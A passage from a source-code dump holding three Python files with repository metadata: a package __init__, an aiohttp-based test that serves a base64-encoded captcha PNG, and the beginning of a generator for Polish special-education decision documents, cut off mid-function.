b2051b9ef090d8a1affc0b80781a74835030eb36

21

py

Python

heat/regression/__init__.py

sebimarkgraf/heat

9638e384f52c9bade75590963b9d57e080692da4

[ "MIT" ]

2

2021-11-25T03:36:58.000Z

2022-02-22T12:08:47.000Z

heat/regression/__init__.py

sebimarkgraf/heat

9638e384f52c9bade75590963b9d57e080692da4

[ "MIT" ]

3

2021-12-01T08:53:34.000Z

2022-03-21T11:54:33.000Z

heat/regression/__init__.py

sebimarkgraf/heat

9638e384f52c9bade75590963b9d57e080692da4

[ "MIT" ]

1

2020-04-07T11:27:05.000Z

from .lasso import *

10.5

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1

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6

b20b3557ad0d1a5d027e142977b48aeab8df027a

17,625

py

Python

tests/base_tests/test_baseview.py

CYY666666/slim

80def99a2eee87a984e1467f83de02a040a2425f

[ "Zlib" ]

1

2020-08-21T01:59:11.000Z

tests/base_tests/test_baseview.py

CYY666666/slim

80def99a2eee87a984e1467f83de02a040a2425f

[ "Zlib" ]

null

tests/base_tests/test_baseview.py

CYY666666/slim

80def99a2eee87a984e1467f83de02a040a2425f

[ "Zlib" ]

null

import base64 from unittest import mock import pytest from aiohttp import web from aiohttp.test_utils import make_mocked_request from slim import Application from slim.base.view import BaseView pytestmark = [pytest.mark.asyncio] class ATestApplication(Application): def on_startup(self, app): print('Initialize something. e.g. configuration and reset incomplete tasks') def on_shutdown(self, app): print('Close something. e.g. websockets and data streaming') def on_cleanup(self, app): print('Close something. e.g. database connection and save redis data') app = ATestApplication(cookies_secret=b'123456', permission=None) captcha = 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@app.route.view('base_test') class ATestView(BaseView): @app.route.interface('GET') async def captcha(self): self.finish_raw(base64.b64decode(captcha), 206, content_type='image/png') async def test_get_captcha(): request = make_mocked_request('GET', '/api/base_test', headers={}, protocol=mock.Mock(), app=app) view = ATestView(app, request) await view._prepare() await view.captcha() assert view.ret_val == base64.b64decode(captcha) assert view.response.content_type == 'image/png' assert view.response.status == 206

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b74900b2373a0cc4fc20ed36848d3a34d0fa6313

32,361

py

Python

backend/create.py

Rafalkufel/alinka

6eebd0f8412e858863965572bb2938a2c2b649de

[ "MIT" ]

1

2018-09-19T15:56:46.000Z

backend/create.py

Rafalkufel/alinka

6eebd0f8412e858863965572bb2938a2c2b649de

[ "MIT" ]

36

2018-09-19T17:40:42.000Z

2018-10-12T19:00:45.000Z

backend/create.py

Rafalkufel/alinka

6eebd0f8412e858863965572bb2938a2c2b649de

[ "MIT" ]

7

2018-09-19T15:58:14.000Z

2018-10-17T15:35:05.000Z

from docx import Document import os from .decision_create import ( add_line, applicant, individual_group, insert_reciver, normal_bold, normal_center, normal_justify, normal_left, normal_right, page_break, reason, reason_individual, reason_individual_preschool, recommendations, staff, text_with_tag ) from .styles import my_styles from zipfile import ZipFile from .change_xml import ( change_content_xml, change_rels, delete_xml_folder, document_xml_change1, insert_footnotes_xml1, save_changed_xml ) class Decision(): def __init__(self, value): self.value = value self.document = my_styles(Document()) def issue(self): subject = self.value['subject'] if subject == "kształcenie specjalne": self.issue_special_education() elif subject == "indywidualne nauczanie": self.issue_individual() elif subject == "indywidualne roczne przygotowanie przedszkolne": self.issue_individual_preschool() elif subject == "wczesne wspomaganie rozwoju": self.issue_development_support() elif subject == "zajęcia rewalidacyjno-wychowawcze indywidualne": self.issue_profound() elif subject == "zajęcia rewalidacyjno-wychowawcze zespołowe": self.issue_profound() def issue_special_education(self): normal_right( self.document, "Grodzisk Wielkopolski, {}".format( self.value["staff_meeting_date"] ), size=10, bold=False ) add_line( self.document, 2 ) normal_center( self.document, "ORZECZENIE NR \n o potrzebie kształcenia specjalnego", size=12, bold=True, ) add_line( self.document, 8 ) normal_justify( self.document, "Działając na podstawie art. 127 ust. 10 ustawy z dnia 14" "grudnia 2016 r. – Prawo oświatowe (Dz.U. z 2017 r. poz. " "59 i 949)", size=9 ) applicant(self.document, self.value["applicant_g"]) staff(self.document, self.value) add_line(self.document, 12) normal_center( self.document, "orzeka o potrzebie kształcenia specjalnego", size=12, bold=True, ) add_line(self.document, 10) text_with_tag( self.document, self.value["name_n"], "(imię i nazwisko)" ) add_line(self.document, 10) text_with_tag( self.document, self.value["birth_date"] + "r., " + self.value["birth_place"], "data i miejsce urodzenia dziecka lub ucznia" ) add_line(self.document, 10) text_with_tag( self.document, self.value["pesel"], "(numer PESEL dziecka lub ucznia, a w przypadku braku" " numeru PESEL – seria i numer dokumentu potwierdzającego" " jego tożsamość)" ) add_line( self.document, 10 ) text_with_tag( self.document, "".join([ self.value["zip_code"], " ", self.value["city"], ", ", self.value["address"] ]), "(adres zamieszkania dziecka lub ucznia)" ) add_line(self.document, 10) text_with_tag( self.document, "".join([ self.value['school_name'], ", ", self.value['school_sort'], ", ", self.value['school_city'], ", ", self.value['school_address'], ", ", self.value['profession'], ", ", self.value['class'] ]), "(nazwa i adres przedszkola, innej formy wychowania" " przedszkolnego, szkoły lub ośrodka, o którym mowa w" " art. 2 pkt 7 ustawy z dnia 14 grudnia 2016 r. – Prawo" " oświatowe, a w przypadku ucznia – także oznaczenie" " oddziału w szkole oraz nazwa zawodu&)" ) add_line(self.document, 10) text_with_tag( self.document, "".join([ self.value["applicant_n"], ", ", self.value["applicant_zipcode"], " ", self.value['applicant_city'], ", ", self.value['applicant_address'] ]), "(imiona i nazwiska rodziców& oraz adres ich zamieszkania)" ) add_line(self.document, 10) normal_center( self.document, "na okres&: {}".format(self.value['timespan']), bold=True ) page_break(self.document) reason(self.document, self.value) add_line(self.document, 10) normal_center( self.document, "Diagnoza", size=10, bold=True ) normal_justify( self.document, "Zespół Orzekający przedstawia diagnozę funkcjonowania dziecka lub" " ucznia, z uwzględnieniem potencjału rozwojowego oraz mocnych " "stron i uzdolnień dziecka lub ucznia oraz występujących w " "środowisku nauczania i wychowania barier i ograniczeń " "utrudniających jego funkcjonowanie:", size=8 ) add_line(self.document, 10) normal_center( self.document, "Zalecenia", size=10, bold=True ) normal_left( self.document, "Zespół Orzekający zaleca:" ) recommendations( self.document, self.value['recommendations'] ) normal_center( self.document, "Dodatkowe informacje", size=10, bold=True ) normal_center( self.document, "(w zależności od potrzeb podaje się dodatkowe istotne informacje" " o dziecku lub uczniu, w szczególności o wspomagającej lub" " alternatywnej metodzie komunikacji (AAC), którą posługuje się" " dziecko lub uczeń)", size=8 ) add_line(self.document, 10) normal_justify( self.document, "W przypadku wydania nowego orzeczenia o potrzebie kształcenia" " specjalnego należy wskazać okoliczności, które Zespół Orzekający" " uznał za istotne dla rozstrzygnięcia, oraz wyjaśnić powody, na" " podstawie których stwierdzono potrzebę wydania nowego" " orzeczenia&:", size=10 ) add_line(self.document, 10) normal_left( self.document, "Orzeczenie uchyla&:", size=10, bold=True ) normal_left( self.document, "1) orzeczenie nr ………… o potrzebie kształcenia specjalnego" " z dnia ………………… wydane przez ……………………………………………………………", size=10, bold=True ) normal_bold( self.document, "2) orzeczenie nr ………….. o potrzebie zajęć rewalidacyjno-" "wychowawczych zespołowych/indywidualnych& z dnia" " …………………………… wydane przez …………………………………" ) add_line(self.document, 10) normal_bold( self.document, "Od niniejszego orzeczenia przysługuje odwołanie do Kuratora" " Oświaty w ................................................" " za pośrednictwem Zespołu Orzekającego, który wydał orzeczenie," " w terminie 14 dni od dnia jego doręczenia." ) add_line(self.document, 30) normal_right( self.document, "(podpis Przewodniczącego Zespołu Orzekającego) ", size=8 ) insert_reciver(self.document, self.value) def issue_individual(self): normal_right( self.document, "Grodzisk Wielkopolski, {}".format( self.value["staff_meeting_date"] ), size=10, bold=False ) add_line(self.document, 2) normal_center( self.document, "ORZECZENIE NR \n o potrzebie indywidualnego nauczania", size=12, bold=True, ) add_line(self.document, 8) normal_justify( self.document, "Działając na podstawie art. 127 ust. 10 ustawy z dnia 14 grudnia" " 2016 r. – Prawo oświatowe (Dz. U. z 2017 r. poz. 59 i 949)", size=9 ) applicant(self.document, self.value["applicant_n"]) staff(self.document, self.value) add_line(self.document, 12) normal_center( self.document, "orzeka o potrzebie indywidualnego nauczania", size=12, bold=True, ) add_line(self.document, 10) text_with_tag( self.document, self.value["name_n"], "(imię/imiona i nazwisko ucznia)" ) add_line(self.document, 10) text_with_tag( self.document, self.value["birth_date"] + "r., " + self.value["birth_place"], "(data i miejsce urodzenia ucznia)" ) add_line(self.document, 10) text_with_tag( self.document, self.value["pesel"], "(numer PESEL ucznia, a w przypadku braku numeru PESEL – seria i" " numer dokumentu potwierdzającego jego tożsamość)" ) add_line(self.document, 10) text_with_tag( self.document, "".join([ self.value["zip_code"], " ", self.value["city"], ", ", self.value["address"] ]), "(adres zamieszkania ucznia)" ) add_line(self.document, 10) text_with_tag( self.document, "".join([ self.value['school_name'], ", ", self.value['school_sort'], ", ", self.value['school_city'], ", ", self.value['school_address'], ", ", self.value['profession'], ", ", self.value['class'] ]), "(nazwa i adres szkoły oraz oznaczenie oddziału w szkole, nazwa" " zawodu&)" ) add_line(self.document, 10) text_with_tag( self.document, "".join([ self.value["applicant_n"], ", ", self.value["applicant_zipcode"], " ", self.value['applicant_city'], ", ", self.value['applicant_address'] ]), "(imiona i nazwiska rodziców& oraz adres ich zamieszkania)" ) add_line(self.document, 10) normal_center( self.document, "na okres&: {}".format(self.value['timespan_ind']), bold=True ) add_line(self.document, 10) reason_individual(self.document, self.value['reason'][0]) page_break(self.document) normal_center( self.document, "Diagnoza", size=10, bold=True ) normal_justify( self.document, "Zespół Orzekający określa ograniczenia w funkcjonowaniu ucznia" " wynikające z przebiegu choroby lub procesu terapeutycznego:", size=8 ) add_line(self.document, 10) normal_center( self.document, "Zalecenia", size=10, bold=True ) normal_left(self.document, "Zespół Orzekający zaleca:") recommendations(self.document, self.value['recommendations']) normal_center( self.document, "Dodatkowe informacje", size=10, bold=True ) normal_center( self.document, "(w zależności od potrzeb podaje się dodatkowe istotne informacje" " o uczniu, w szczególności o wspomagającej lub alternatywnej" " metodzie komunikacji (AAC), którą posługuje się uczeń, a w" " przypadku ucznia szkoły prowadzącej kształcenie zawodowe – " "także możliwość dalszego kształcenia w zawodzie, w tym warunki" " realizacji praktycznej nauki zawodu)", size=8 ) add_line(self.document, 10) normal_justify( self.document, "W przypadku wydania nowego orzeczenia o potrzebie indywidualnego" " nauczania należy wskazać okoliczności, które Zespół Orzekający" " uznał za istotne dla rozstrzygnięcia, oraz wyjaśnić powody, na" " podstawie których stwierdzono potrzebę wydania nowego" " orzeczenia&:", size=10 ) add_line(self.document, 10) normal_bold( self.document, "Orzeczenie uchyla orzeczenie nr ...... o potrzebie" " indywidualnego nauczania z dnia .............." " wydane przez .....................&.\n\n" "Od niniejszego orzeczenia przysługuje odwołanie do Kuratora" " Oświaty w ........................za pośrednictwem Zespołu" " Orzekającego, który wydał orzeczenie, w terminie 14 dni od" " dnia jego doręczenia." ) add_line(self.document, 10) normal_left(self.document, "\n\n\n") normal_right( self.document, "(podpis Przewodniczącego Zespołu Orzekającego) ", size=8 ) insert_reciver(self.document, self.value) def issue_individual_preschool(self): normal_right( self.document, "Grodzisk Wielkopolski, {}".format( self.value["staff_meeting_date"] ), size=10, bold=False ) add_line(self.document, 2) normal_center( self.document, "ORZECZENIE NR \n o potrzebie indywidualnego obowiązkowego" " rocznego przygotowania przedszkolnego", size=12, 